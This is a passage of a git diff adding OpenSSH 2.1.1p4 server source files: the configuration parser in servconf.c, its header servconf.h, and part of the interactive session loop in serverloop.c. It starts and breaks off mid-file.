"x11forwarding", sX11Forwarding }, + { "x11displayoffset", sX11DisplayOffset }, + { "xauthlocation", sXAuthLocation }, + { "strictmodes", sStrictModes }, + { "permitemptypasswords", sEmptyPasswd }, + { "uselogin", sUseLogin }, + { "randomseed", sRandomSeedFile }, + { "keepalive", sKeepAlives }, + { "allowusers", sAllowUsers }, + { "denyusers", sDenyUsers }, + { "allowgroups", sAllowGroups }, + { "denygroups", sDenyGroups }, + { "ciphers", sCiphers }, + { "protocol", sProtocol }, + { "gatewayports", sGatewayPorts }, + { "subsystem", sSubsystem }, + { "maxstartups", sMaxStartups }, + { NULL, 0 } +}; + +/* + * Returns the number of the token pointed to by cp of length len. Never + * returns if the token is not known. + */ + +static ServerOpCodes +parse_token(const char *cp, const char *filename, + int linenum) +{ + unsigned int i; + + for (i = 0; keywords[i].name; i++) + if (strcasecmp(cp, keywords[i].name) == 0) + return keywords[i].opcode; + + fprintf(stderr, "%s: line %d: Bad configuration option: %s\n", + filename, linenum, cp); + return sBadOption; +} + +/* + * add listen address + */ +void +add_listen_addr(ServerOptions *options, char *addr) +{ + extern int IPv4or6; + struct addrinfo hints, *ai, *aitop; + char strport[NI_MAXSERV]; + int gaierr; + int i; + + if (options->num_ports == 0) + options->ports[options->num_ports++] = SSH_DEFAULT_PORT; + for (i = 0; i < options->num_ports; i++) { + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_socktype = SOCK_STREAM; + hints.ai_flags = (addr == NULL) ? AI_PASSIVE : 0; + snprintf(strport, sizeof strport, "%d", options->ports[i]); + if ((gaierr = getaddrinfo(addr, strport, &hints, &aitop)) != 0) + fatal("bad addr or host: %s (%s)\n", + addr ? addr : "", + gai_strerror(gaierr)); + for (ai = aitop; ai->ai_next; ai = ai->ai_next) + ; + ai->ai_next = options->listen_addrs; + options->listen_addrs = aitop; + } +} + +/* Reads the server configuration file. */ + +void +read_server_config(ServerOptions *options, const char *filename) +{ + FILE *f; + char line[1024]; + char *cp, **charptr, *arg; + int linenum, *intptr, value; + int bad_options = 0; + ServerOpCodes opcode; + int i; + + f = fopen(filename, "r"); + if (!f) { + perror(filename); + exit(1); + } + linenum = 0; + while (fgets(line, sizeof(line), f)) { + linenum++; + cp = line; + arg = strdelim(&cp); + /* Ignore leading whitespace */ + if (*arg == '\0') + arg = strdelim(&cp); + if (!*arg || *arg == '#') + continue; + opcode = parse_token(arg, filename, linenum); + switch (opcode) { + case sBadOption: + bad_options++; + continue; + case sPort: + /* ignore ports from configfile if cmdline specifies ports */ + if (options->ports_from_cmdline) + continue; + if (options->listen_addrs != NULL) + fatal("%s line %d: ports must be specified before " + "ListenAdress.\n", filename, linenum); + if (options->num_ports >= MAX_PORTS) + fatal("%s line %d: too many ports.\n", + filename, linenum); + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: missing port number.\n", + filename, linenum); + options->ports[options->num_ports++] = atoi(arg); + break; + + case sServerKeyBits: + intptr = &options->server_key_bits; +parse_int: + arg = strdelim(&cp); + if (!arg || *arg == '\0') { + fprintf(stderr, "%s line %d: missing integer value.\n", + filename, linenum); + exit(1); + } + value = atoi(arg); + if (*intptr == -1) + *intptr = value; + break; + + case sLoginGraceTime: + intptr = &options->login_grace_time; + goto parse_int; + + case sKeyRegenerationTime: + intptr = &options->key_regeneration_time; + goto parse_int; + + case sListenAddress: + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: missing inet addr.\n", + filename, linenum); + add_listen_addr(options, arg); + break; + + case sHostKeyFile: + case sHostDSAKeyFile: + charptr = (opcode == sHostKeyFile ) ? + &options->host_key_file : &options->host_dsa_key_file; +parse_filename: + arg = strdelim(&cp); + if (!arg || *arg == '\0') { + fprintf(stderr, "%s line %d: missing file name.\n", + filename, linenum); + exit(1); + } + if (*charptr == NULL) + *charptr = tilde_expand_filename(arg, getuid()); + break; + + case sPidFile: + charptr = &options->pid_file; + goto parse_filename; + + case sRandomSeedFile: + fprintf(stderr, "%s line %d: \"randomseed\" option is obsolete.\n", + filename, linenum); + arg = strdelim(&cp); + break; + + case sPermitRootLogin: + intptr = &options->permit_root_login; + arg = strdelim(&cp); + if (!arg || *arg == '\0') { + fprintf(stderr, "%s line %d: missing yes/without-password/no argument.\n", + filename, linenum); + exit(1); + } + if (strcmp(arg, "without-password") == 0) + value = 2; + else if (strcmp(arg, "yes") == 0) + value = 1; + else if (strcmp(arg, "no") == 0) + value = 0; + else { + fprintf(stderr, "%s line %d: Bad yes/without-password/no argument: %s\n", + filename, linenum, arg); + exit(1); + } + if (*intptr == -1) + *intptr = value; + break; + + case sIgnoreRhosts: + intptr = &options->ignore_rhosts; +parse_flag: + arg = strdelim(&cp); + if (!arg || *arg == '\0') { + fprintf(stderr, "%s line %d: missing yes/no argument.\n", + filename, linenum); + exit(1); + } + if (strcmp(arg, "yes") == 0) + value = 1; + else if (strcmp(arg, "no") == 0) + value = 0; + else { + fprintf(stderr, "%s line %d: Bad yes/no argument: %s\n", + filename, linenum, arg); + exit(1); + } + if (*intptr == -1) + *intptr = value; + break; + + case sIgnoreUserKnownHosts: + intptr = &options->ignore_user_known_hosts; + goto parse_flag; + + case sRhostsAuthentication: + intptr = &options->rhosts_authentication; + goto parse_flag; + + case sRhostsRSAAuthentication: + intptr = &options->rhosts_rsa_authentication; + goto parse_flag; + + case sRSAAuthentication: + intptr = &options->rsa_authentication; + goto parse_flag; + + case sDSAAuthentication: + intptr = &options->dsa_authentication; + goto parse_flag; + +#ifdef KRB4 + case sKerberosAuthentication: + intptr = &options->kerberos_authentication; + goto parse_flag; + + case sKerberosOrLocalPasswd: + intptr = &options->kerberos_or_local_passwd; + goto parse_flag; + + case sKerberosTicketCleanup: + intptr = &options->kerberos_ticket_cleanup; + goto parse_flag; +#endif + +#ifdef AFS + case sKerberosTgtPassing: + intptr = &options->kerberos_tgt_passing; + goto parse_flag; + + case sAFSTokenPassing: + intptr = &options->afs_token_passing; + goto parse_flag; +#endif + + case sPasswordAuthentication: + intptr = &options->password_authentication; + goto parse_flag; + + case sCheckMail: + intptr = &options->check_mail; + goto parse_flag; + +#ifdef SKEY + case sSkeyAuthentication: + intptr = &options->skey_authentication; + goto parse_flag; +#endif + + case sPrintMotd: + intptr = &options->print_motd; + goto parse_flag; + + case sX11Forwarding: + intptr = &options->x11_forwarding; + goto parse_flag; + + case sX11DisplayOffset: + intptr = &options->x11_display_offset; + goto parse_int; + + case sXAuthLocation: + charptr = &options->xauth_location; + goto parse_filename; + + case sStrictModes: + intptr = &options->strict_modes; + goto parse_flag; + + case sKeepAlives: + intptr = &options->keepalives; + goto parse_flag; + + case sEmptyPasswd: + intptr = &options->permit_empty_passwd; + goto parse_flag; + + case sUseLogin: + intptr = &options->use_login; + goto parse_flag; + + case sGatewayPorts: + intptr = &options->gateway_ports; + goto parse_flag; + + case sLogFacility: + intptr = (int *) &options->log_facility; + arg = strdelim(&cp); + value = log_facility_number(arg); + if (value == (SyslogFacility) - 1) + fatal("%.200s line %d: unsupported log facility '%s'\n", + filename, linenum, arg ? arg : ""); + if (*intptr == -1) + *intptr = (SyslogFacility) value; + break; + + case sLogLevel: + intptr = (int *) &options->log_level; + arg = strdelim(&cp); + value = log_level_number(arg); + if (value == (LogLevel) - 1) + fatal("%.200s line %d: unsupported log level '%s'\n", + filename, linenum, arg ? arg : ""); + if (*intptr == -1) + *intptr = (LogLevel) value; + break; + + case sAllowUsers: + while ((arg = strdelim(&cp)) && *arg != '\0') { + if (options->num_allow_users >= MAX_ALLOW_USERS) + fatal("%s line %d: too many allow users.\n", + filename, linenum); + options->allow_users[options->num_allow_users++] = xstrdup(arg); + } + break; + + case sDenyUsers: + while ((arg = strdelim(&cp)) && *arg != '\0') { + if (options->num_deny_users >= MAX_DENY_USERS) + fatal( "%s line %d: too many deny users.\n", + filename, linenum); + options->deny_users[options->num_deny_users++] = xstrdup(arg); + } + break; + + case sAllowGroups: + while ((arg = strdelim(&cp)) && *arg != '\0') { + if (options->num_allow_groups >= MAX_ALLOW_GROUPS) + fatal("%s line %d: too many allow groups.\n", + filename, linenum); + options->allow_groups[options->num_allow_groups++] = xstrdup(arg); + } + break; + + case sDenyGroups: + while ((arg = strdelim(&cp)) && *arg != '\0') { + if (options->num_deny_groups >= MAX_DENY_GROUPS) + fatal("%s line %d: too many deny groups.\n", + filename, linenum); + options->deny_groups[options->num_deny_groups++] = xstrdup(arg); + } + break; + + case sCiphers: + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: Missing argument.", filename, linenum); + if (!ciphers_valid(arg)) + fatal("%s line %d: Bad SSH2 cipher spec '%s'.", + filename, linenum, arg ? arg : ""); + if (options->ciphers == NULL) + options->ciphers = xstrdup(arg); + break; + + case sProtocol: + intptr = &options->protocol; + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: Missing argument.", filename, linenum); + value = proto_spec(arg); + if (value == SSH_PROTO_UNKNOWN) + fatal("%s line %d: Bad protocol spec '%s'.", + filename, linenum, arg ? arg : ""); + if (*intptr == SSH_PROTO_UNKNOWN) + *intptr = value; + break; + + case sSubsystem: + if(options->num_subsystems >= MAX_SUBSYSTEMS) { + fatal("%s line %d: too many subsystems defined.", + filename, linenum); + } + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: Missing subsystem name.", + filename, linenum); + for (i = 0; i < options->num_subsystems; i++) + if(strcmp(arg, options->subsystem_name[i]) == 0) + fatal("%s line %d: Subsystem '%s' already defined.", + filename, linenum, arg); + options->subsystem_name[options->num_subsystems] = xstrdup(arg); + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: Missing subsystem command.", + filename, linenum); + options->subsystem_command[options->num_subsystems] = xstrdup(arg); + options->num_subsystems++; + break; + + case sMaxStartups: + intptr = &options->max_startups; + goto parse_int; + + default: + fprintf(stderr, "%s line %d: Missing handler for opcode %s (%d)\n", + filename, linenum, arg, opcode); + exit(1); + } + if ((arg = strdelim(&cp)) != NULL && *arg != '\0') { + fprintf(stderr, + "%s line %d: garbage at end of line; \"%.200s\".\n", + filename, linenum, arg); + exit(1); + } + } + fclose(f); + if (bad_options > 0) { + fprintf(stderr, "%s: terminating, %d bad configuration options\n", + filename, bad_options); + exit(1); + } +} diff --git a/other/openssh-2.1.1p4/servconf.h b/other/openssh-2.1.1p4/servconf.h new file mode 100644 index 0000000..9559372 --- /dev/null +++ b/other/openssh-2.1.1p4/servconf.h @@ -0,0 +1,121 @@ +/* + * + * servconf.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Mon Aug 21 15:35:03 1995 ylo + * + * Definitions for server configuration data and for the functions reading it. + * + */ + +/* RCSID("$OpenBSD: servconf.h,v 1.26 2000/06/26 21:59:18 markus Exp $"); */ + +#ifndef SERVCONF_H +#define SERVCONF_H + +#define MAX_PORTS 256 /* Max # ports. */ + +#define MAX_ALLOW_USERS 256 /* Max # users on allow list. */ +#define MAX_DENY_USERS 256 /* Max # users on deny list. */ +#define MAX_ALLOW_GROUPS 256 /* Max # groups on allow list. */ +#define MAX_DENY_GROUPS 256 /* Max # groups on deny list. */ +#define MAX_SUBSYSTEMS 256 /* Max # subsystems. */ + +typedef struct { + unsigned int num_ports; + unsigned int ports_from_cmdline; + u_short ports[MAX_PORTS]; /* Port number to listen on. */ + char *listen_addr; /* Address on which the server listens. */ + struct addrinfo *listen_addrs; /* Addresses on which the server listens. */ + char *host_key_file; /* File containing host key. */ + char *host_dsa_key_file; /* File containing dsa host key. */ + char *pid_file; /* Where to put our pid */ + int server_key_bits;/* Size of the server key. */ + int login_grace_time; /* Disconnect if no auth in this time + * (sec). */ + int key_regeneration_time; /* Server key lifetime (seconds). */ + int permit_root_login; /* If true, permit root login. */ + int ignore_rhosts; /* Ignore .rhosts and .shosts. */ + int ignore_user_known_hosts; /* Ignore ~/.ssh/known_hosts + * for RhostsRsaAuth */ + int print_motd; /* If true, print /etc/motd. */ + int check_mail; /* If true, check for new mail. */ + int x11_forwarding; /* If true, permit inet (spoofing) X11 fwd. */ + int x11_display_offset; /* What DISPLAY number to start + * searching at */ + char *xauth_location; /* Location of xauth program */ + int strict_modes; /* If true, require string home dir modes. */ + int keepalives; /* If true, set SO_KEEPALIVE. */ + char *ciphers; /* Ciphers in order of preference. */ + int protocol; /* Protocol in order of preference. */ + int gateway_ports; /* If true, allow remote connects to forwarded ports. */ + SyslogFacility log_facility; /* Facility for system logging. */ + LogLevel log_level; /* Level for system logging. */ + int rhosts_authentication; /* If true, permit rhosts + * authentication. */ + int rhosts_rsa_authentication; /* If true, permit rhosts RSA + * authentication. */ + int rsa_authentication; /* If true, permit RSA authentication. */ + int dsa_authentication; /* If true, permit DSA authentication. */ +#ifdef KRB4 + int kerberos_authentication; /* If true, permit Kerberos + * authentication. */ + int kerberos_or_local_passwd; /* If true, permit kerberos + * and any other password + * authentication mechanism, + * such as SecurID or + * /etc/passwd */ + int kerberos_ticket_cleanup; /* If true, destroy ticket + * file on logout. */ +#endif +#ifdef AFS + int kerberos_tgt_passing; /* If true, permit Kerberos tgt + * passing. */ + int afs_token_passing; /* If true, permit AFS token passing. */ +#endif + int password_authentication; /* If true, permit password + * authentication. */ +#ifdef SKEY + int skey_authentication; /* If true, permit s/key + * authentication. */ +#endif + int permit_empty_passwd; /* If false, do not permit empty + * passwords. */ + int use_login; /* If true, login(1) is used */ + unsigned int num_allow_users; + char *allow_users[MAX_ALLOW_USERS]; + unsigned int num_deny_users; + char *deny_users[MAX_DENY_USERS]; + unsigned int num_allow_groups; + char *allow_groups[MAX_ALLOW_GROUPS]; + unsigned int num_deny_groups; + char *deny_groups[MAX_DENY_GROUPS]; + + unsigned int num_subsystems; + char *subsystem_name[MAX_SUBSYSTEMS]; + char *subsystem_command[MAX_SUBSYSTEMS]; + + int max_startups; + +} ServerOptions; +/* + * Initializes the server options to special values that indicate that they + * have not yet been set. + */ +void initialize_server_options(ServerOptions * options); + +/* + * Reads the server configuration file. This only sets the values for those + * options that have the special value indicating they have not been set. + */ +void read_server_config(ServerOptions * options, const char *filename); + +/* Sets values for those values that have not yet been set. */ +void fill_default_server_options(ServerOptions * options); + +#endif /* SERVCONF_H */ diff --git a/other/openssh-2.1.1p4/serverloop.c b/other/openssh-2.1.1p4/serverloop.c new file mode 100644 index 0000000..00617bb --- /dev/null +++ b/other/openssh-2.1.1p4/serverloop.c @@ -0,0 +1,855 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Sun Sep 10 00:30:37 1995 ylo + * Server main loop for handling the interactive session. + */ +/* + * SSH2 support by Markus Friedl. + * Copyright (c) 2000 Markus Friedl. All rights reserved. + */ + +#include "includes.h" +#include "xmalloc.h" +#include "ssh.h" +#include "packet.h" +#include "buffer.h" +#include "servconf.h" +#include "pty.h" +#include "channels.h" + +#include "compat.h" +#include "ssh2.h" +#include "session.h" +#include "dispatch.h" +#include "auth-options.h" + +static Buffer stdin_buffer; /* Buffer for stdin data. */ +static Buffer stdout_buffer; /* Buffer for stdout data. */ +static Buffer stderr_buffer; /* Buffer for stderr data. */ +static int fdin; /* Descriptor for stdin (for writing) */ +static int fdout; /* Descriptor for stdout (for reading); + May be same number as fdin. */ +static int fderr; /* Descriptor for stderr. May be -1. */ +static long stdin_bytes = 0; /* Number of bytes written to stdin. */ +static long stdout_bytes = 0; /* Number of stdout bytes sent to client. */ +static long stderr_bytes = 0; /* Number of stderr bytes sent to client. */ +static long fdout_bytes = 0; /* Number of stdout bytes read from program. */ +static int stdin_eof = 0; /* EOF message received from client. */ +static int fdout_eof = 0; /* EOF encountered reading from fdout. */ +static int fderr_eof = 0; /* EOF encountered readung from fderr. */ +static int connection_in; /* Connection to client (input). */ +static int connection_out; /* Connection to client (output). */ +static unsigned int buffer_high;/* "Soft" max buffer size. */ +static int max_fd; /* Max file descriptor number for select(). */ + +/* + * This SIGCHLD kludge is used to detect when the child exits. The server + * will exit after that, as soon as forwarded connections have terminated. + * + * After SIGCHLD child_has_selected is set to 1 after the first pass + * through the wait_until_can_do_something() select(). This ensures + * that the child's output gets a chance to drain before it is yanked. + */ + +static pid_t child_pid; /* Pid of the child. */ +static volatile int child_terminated; /* The child has terminated. */ +static volatile int child_has_selected; /* Child has had chance to drain. */ +static volatile int child_wait_status; /* Status from wait(). */ + +void server_init_dispatch(void); + +void +sigchld_handler(int sig) +{ + int save_errno = errno; + pid_t wait_pid; + + debug("Received SIGCHLD."); + wait_pid = wait((int *) &child_wait_status); + if (wait_pid != -1) { + if (wait_pid != child_pid) + error("Strange, got SIGCHLD and wait returned pid %d but child is %d", + wait_pid, child_pid); + if (WIFEXITED(child_wait_status) || + WIFSIGNALED(child_wait_status)) + child_terminated = 1; + child_has_selected = 0; + } + signal(SIGCHLD, sigchld_handler); + errno = save_errno; +} +void +sigchld_handler2(int sig) +{ + int save_errno = errno; + debug("Received SIGCHLD."); + child_terminated = 1; + errno = save_errno; +} + +/* + * Make packets from buffered stderr data, and buffer it for sending + * to the client. + */ +void +make_packets_from_stderr_data() +{ + int len; + + /* Send buffered stderr data to the client. */ + while (buffer_len(&stderr_buffer) > 0 && + packet_not_very_much_data_to_write()) { + len = buffer_len(&stderr_buffer); + if (packet_is_interactive()) { + if (len > 512) + len = 512; + } else { + /* Keep the packets at reasonable size. */ + if (len > packet_get_maxsize()) + len = packet_get_maxsize(); + } + packet_start(SSH_SMSG_STDERR_DATA); + packet_put_string(buffer_ptr(&stderr_buffer), len); + packet_send(); + buffer_consume(&stderr_buffer, len); + stderr_bytes += len; + } +} + +/* + * Make packets from buffered stdout data, and buffer it for sending to the + * client. + */ +void +make_packets_from_stdout_data() +{ + int len; + + /* Send buffered stdout data to the client. */ + while (buffer_len(&stdout_buffer) > 0 && + packet_not_very_much_data_to_write()) { + len = buffer_len(&stdout_buffer); + if (packet_is_interactive()) { + if (len > 512) + len = 512; + } else { + /* Keep the packets at reasonable size. */ + if (len > packet_get_maxsize()) + len = packet_get_maxsize(); + } + packet_start(SSH_SMSG_STDOUT_DATA); + packet_put_string(buffer_ptr(&stdout_buffer), len); + packet_send(); + buffer_consume(&stdout_buffer, len); + stdout_bytes += len; + } +} + +/* + * Sleep in select() until we can do something. This will initialize the + * select masks. Upon return, the masks will indicate which descriptors + * have data or can accept data. Optionally, a maximum time can be specified + * for the duration of the wait (0 = infinite). + */ +void +wait_until_can_do_something(fd_set * readset, fd_set * writeset, + unsigned int max_time_milliseconds) +{ + struct timeval tv, *tvp; + int ret; + + /* When select fails we restart from here. */ +retry_select: + + /* Initialize select() masks. */ + FD_ZERO(readset); + FD_ZERO(writeset); + + if (compat20) { + /* wrong: bad condition XXX */ + if (channel_not_very_much_buffered_data()) + FD_SET(connection_in, readset); + } else { + /* + * Read packets from the client unless we have too much + * buffered stdin or channel data. + */ + if (buffer_len(&stdin_buffer) < buffer_high && + channel_not_very_much_buffered_data()) + FD_SET(connection_in, readset); + /* + * If there is not too much data already buffered going to + * the client, try to get some more data from the program. + */ + if (packet_not_very_much_data_to_write()) { + if (!fdout_eof) + FD_SET(fdout, readset); + if (!fderr_eof) + FD_SET(fderr, readset); + } + /* + * If we have buffered data, try to write some of that data + * to the program. + */ + if (fdin != -1 && buffer_len(&stdin_buffer) > 0) + FD_SET(fdin, writeset); + } + /* Set masks for channel descriptors. */ + channel_prepare_select(readset, writeset); + + /* + * If we have buffered packet data going to the client, mark that + * descriptor. + */ + if (packet_have_data_to_write()) + FD_SET(connection_out, writeset); + + /* Update the maximum descriptor number if appropriate. */ + if (channel_max_fd() > max_fd) + max_fd = channel_max_fd(); + + /* + * If child has terminated and there is enough buffer space to read + * from it, then read as much as is available and exit. + */ + if (child_terminated && packet_not_very_much_data_to_write()) + if (max_time_milliseconds == 0) + max_time_milliseconds = 100; + + if (max_time_milliseconds == 0) + tvp = NULL; + else { + tv.tv_sec = max_time_milliseconds / 1000; + tv.tv_usec = 1000 * (max_time_milliseconds % 1000); + tvp = &tv; + } + if (tvp!=NULL) + debug("tvp!=NULL kid %d mili %d", child_terminated, max_time_milliseconds); + + /* Wait for something to happen, or the timeout to expire. */ + ret = select(max_fd + 1, readset, writeset, NULL, tvp); + + if (ret < 0) { + if (errno != EINTR) + error("select: %.100s", strerror(errno)); + else + goto retry_select; + } + + if (child_terminated) + child_has_selected = 1; +} + +/* + * Processes input from the client and the program. Input data is stored + * in buffers and processed later. + */ +void +process_input(fd_set * readset) +{ + int len; + char buf[16384]; + + /* Read and buffer any input data from the client. */ + if (FD_ISSET(connection_in, readset)) { + len = read(connection_in, buf, sizeof(buf)); + if (len == 0) { + verbose("Connection closed by remote host."); + fatal_cleanup(); + } else if (len < 0) { + if (errno != EINTR && errno != EAGAIN) { + verbose("Read error from remote host: %.100s", strerror(errno)); + fatal_cleanup(); + } + } else { + /* Buffer any received data. */ + packet_process_incoming(buf, len); + } + } + if (compat20) + return; + + /* Read and buffer any available stdout data from the program. */ + if (!fdout_eof && FD_ISSET(fdout, readset)) { + len = read(fdout, buf, sizeof(buf)); + if (len < 0 && (errno == EINTR || errno == EAGAIN)) { + /* do nothing */ + } else if (len <= 0) { + fdout_eof = 1; + } else { + buffer_append(&stdout_buffer, buf, len); + fdout_bytes += len; + } + } + /* Read and buffer any available stderr data from the program. */ + if (!fderr_eof && FD_ISSET(fderr, readset)) { + len = read(fderr, buf, sizeof(buf)); + if (len < 0 && (errno == EINTR || errno == EAGAIN)) { + /* do nothing */ + } else if (len <= 0) { + fderr_eof = 1; + } else { + buffer_append(&stderr_buffer, buf, len); + } + } +} + +/* + * Sends data from internal buffers to client program stdin. + */ +void +process_output(fd_set * writeset) +{ + int len; + + /* Write buffered data to program stdin. */ + if (!compat20 && fdin != -1 && FD_ISSET(fdin, writeset)) { + len = write(fdin, buffer_ptr(&stdin_buffer), + buffer_len(&stdin_buffer)); + if (len < 0 && (errno == EINTR || errno == EAGAIN)) { + /* do nothing */ + } else if (len <= 0) { +#ifdef USE_PIPES + close(fdin); +#else + if (fdin != fdout) + close(fdin); + else + shutdown(fdin, SHUT_WR); /* We will no longer send. */ +#endif + fdin = -1; + } else { + /* Successful write. Consume the data from the buffer. */ + buffer_consume(&stdin_buffer, len); + /* Update the count of bytes written to the program. */ + stdin_bytes += len; + } + } + /* Send any buffered packet data to the client. */ + if (FD_ISSET(connection_out, writeset)) + packet_write_poll(); +} + +/* + * Wait until all buffered output has been sent to the client. + * This is used when the program terminates. + */ +void +drain_output() +{ + /* Send any buffered stdout data to the client. */ + if (buffer_len(&stdout_buffer) > 0) { + packet_start(SSH_SMSG_STDOUT_DATA); + packet_put_string(buffer_ptr(&stdout_buffer), + buffer_len(&stdout_buffer)); + packet_send(); + /* Update the count of sent bytes. */ + stdout_bytes += buffer_len(&stdout_buffer); + } + /* Send any buffered stderr data to the client. */ + if (buffer_len(&stderr_buffer) > 0) { + packet_start(SSH_SMSG_STDERR_DATA); + packet_put_string(buffer_ptr(&stderr_buffer), + buffer_len(&stderr_buffer)); + packet_send(); + /* Update the count of sent bytes. */ + stderr_bytes += buffer_len(&stderr_buffer); + } + /* Wait until all buffered data has been written to the client. */ + packet_write_wait(); +} + +void +process_buffered_input_packets() +{ + dispatch_run(DISPATCH_NONBLOCK, NULL); +} + +/* + * Performs the interactive session. This handles data transmission between + * the client and the program. Note that the notion of stdin, stdout, and + * stderr in this function is sort of reversed: this function writes to + * stdin (of the child program), and reads from stdout and stderr (of the + * child program). + */ +void +server_loop(pid_t pid, int fdin_arg, int fdout_arg, int fderr_arg) +{ + fd_set readset, writeset; + int wait_status; /* Status returned by wait(). */ + pid_t wait_pid; /* pid returned by wait(). */ + int waiting_termination = 0; /* Have displayed waiting close message. */ + unsigned int max_time_milliseconds; + unsigned int previous_stdout_buffer_bytes; + unsigned int stdout_buffer_bytes; + int type; + + debug("Entering interactive session."); + + /* Initialize the SIGCHLD kludge. */ + child_pid = pid; + child_terminated = 0; + child_has_selected = 0; + signal(SIGCHLD, sigchld_handler); + + /* Initialize our global variables. */ + fdin = fdin_arg; + fdout = fdout_arg; + fderr = fderr_arg; + + /* nonblocking IO */ + set_nonblock(fdin); + set_nonblock(fdout); + /* we don't have stderr for interactive terminal sessions, see below */ + if (fderr != -1) + set_nonblock(fderr); + + connection_in = packet_get_connection_in(); + connection_out = packet_get_connection_out(); + + previous_stdout_buffer_bytes = 0; + + /* Set approximate I/O buffer size. */ + if (packet_is_interactive()) + buffer_high = 4096; + else + buffer_high = 64 * 1024; + + /* Initialize max_fd to the maximum of the known file descriptors. */ + max_fd = fdin; + if (fdout > max_fd) + max_fd = fdout; + if (fderr != -1 && fderr > max_fd) + max_fd = fderr; + if (connection_in > max_fd) + max_fd = connection_in; + if (connection_out > max_fd) + max_fd = connection_out; + + /* Initialize Initialize buffers. */ + buffer_init(&stdin_buffer); + buffer_init(&stdout_buffer); + buffer_init(&stderr_buffer); + + /* + * If we have no separate fderr (which is the case when we have a pty + * - there we cannot make difference between data sent to stdout and + * stderr), indicate that we have seen an EOF from stderr. This way + * we don\'t need to check the descriptor everywhere. + */ + if (fderr == -1) + fderr_eof = 1; + + server_init_dispatch(); + + /* Main loop of the server for the interactive session mode. */ + for (;;) { + + /* Process buffered packets from the client. */ + process_buffered_input_packets(); + + /* + * If we have received eof, and there is no more pending + * input data, cause a real eof by closing fdin. + */ + if (stdin_eof && fdin != -1 && buffer_len(&stdin_buffer) == 0) { +#ifdef USE_PIPES + close(fdin); +#else + if (fdin != fdout) + close(fdin); + else + shutdown(fdin, SHUT_WR); /* We will no longer send. */ +#endif + fdin = -1; + } + /* Make packets from buffered stderr data to send to the client. */ + make_packets_from_stderr_data(); + + /* + * Make packets from buffered stdout data to send to the + * client. If there is very little to send, this arranges to + * not send them now, but to wait a short while to see if we + * are getting more data. This is necessary, as some systems + * wake up readers from a pty after each separate character. + */ + max_time_milliseconds = 0; + stdout_buffer_bytes = buffer_len(&stdout_buffer); + if (stdout_buffer_bytes != 0 && stdout_buffer_bytes < 256 && + stdout_buffer_bytes != previous_stdout_buffer_bytes) { + /* try again after a while */ + max_time_milliseconds = 10; + } else { + /* Send it now. */ + make_packets_from_stdout_data(); + } + previous_stdout_buffer_bytes = buffer_len(&stdout_buffer); + + /* Send channel data to the client. */ + if (packet_not_very_much_data_to_write()) + channel_output_poll(); + + /* + * Bail out of the loop if the program has closed its output + * descriptors, and we have no more data to send to the + * client, and there is no pending buffered data. + */ + if (((fdout_eof && fderr_eof) || + (child_terminated && child_has_selected)) && + !packet_have_data_to_write() && + (buffer_len(&stdout_buffer) == 0) && + (buffer_len(&stderr_buffer) == 0)) { + if (!channel_still_open()) + break; + if (!waiting_termination) { + const char *s = "Waiting for forwarded connections to terminate...\r\n"; + char *cp; + waiting_termination = 1; + buffer_append(&stderr_buffer, s, strlen(s)); + + /* Display list of open channels. */ + cp = channel_open_message(); + buffer_append(&stderr_buffer, cp, strlen(cp)); + xfree(cp); + } + } + /* Sleep in select() until we can do something. */ + wait_until_can_do_something(&readset, &writeset, + max_time_milliseconds); + + /* Process any channel events. */ + channel_after_select(&readset, &writeset); + + /* Process input from the client and from program stdout/stderr. */ + process_input(&readset); + + /* Process output to the client and to program stdin. */ + process_output(&writeset); + } + + /* Cleanup and termination code. */ + + /* Wait until all output has been sent to the client. */ + drain_output(); + + debug("End of interactive session; stdin %ld, stdout (read %ld, sent %ld), stderr %ld bytes.", + stdin_bytes, fdout_bytes, stdout_bytes, stderr_bytes); + + /* Free and clear the buffers. */ + buffer_free(&stdin_buffer); + buffer_free(&stdout_buffer); + buffer_free(&stderr_buffer); + + /* Close the file descriptors. */ + if (fdout != -1) + close(fdout); + fdout = -1; + fdout_eof = 1; + if (fderr != -1) + close(fderr); + fderr = -1; + fderr_eof = 1; + if (fdin != -1) + close(fdin); + fdin = -1; + + /* Stop listening for channels; this removes unix domain sockets. */ + channel_stop_listening(); + + /* Wait for the child to exit. Get its exit status. */ + wait_pid = wait(&wait_status); + if (wait_pid < 0) { + /* + * It is possible that the wait was handled by SIGCHLD + * handler. This may result in either: this call + * returning with EINTR, or: this call returning ECHILD. + */ + if (child_terminated) + wait_status = child_wait_status; + else + packet_disconnect("wait: %.100s", strerror(errno)); + } else { + /* Check if it matches the process we forked. */ + if (wait_pid != pid) + error("Strange, wait returned pid %d, expected %d", + wait_pid, pid); + } + + /* We no longer want our SIGCHLD handler to be called. */ + signal(SIGCHLD, SIG_DFL); + + /* Check if it exited normally. */ + if (WIFEXITED(wait_status)) { + /* Yes, normal exit. Get exit status and send it to the client. */ + debug("Command exited with status %d.", WEXITSTATUS(wait_status)); + packet_start(SSH_SMSG_EXITSTATUS); + packet_put_int(WEXITSTATUS(wait_status)); + packet_send(); + packet_write_wait(); + + /* + * Wait for exit confirmation. Note that there might be + * other packets coming before it; however, the program has + * already died so we just ignore them. The client is + * supposed to respond with the confirmation when it receives + * the exit status. + */ + do { + int plen; + type = packet_read(&plen); + } + while (type != SSH_CMSG_EXIT_CONFIRMATION); + + debug("Received exit confirmation."); + return; + } + /* Check if the program terminated due to a signal. */ + if (WIFSIGNALED(wait_status)) + packet_disconnect("Command terminated on signal %d.", + WTERMSIG(wait_status)); + + /* Some weird exit cause. Just exit. */ + packet_disconnect("wait returned status %04x.", wait_status); + /* NOTREACHED */ +} + +void +server_loop2(void) +{ + fd_set readset, writeset; + int had_channel = 0; + int status; + pid_t pid; + + debug("Entering interactive session for SSH2."); + + signal(SIGCHLD, sigchld_handler2); + child_terminated = 0; + connection_in = packet_get_connection_in(); + connection_out = packet_get_connection_out(); + max_fd = 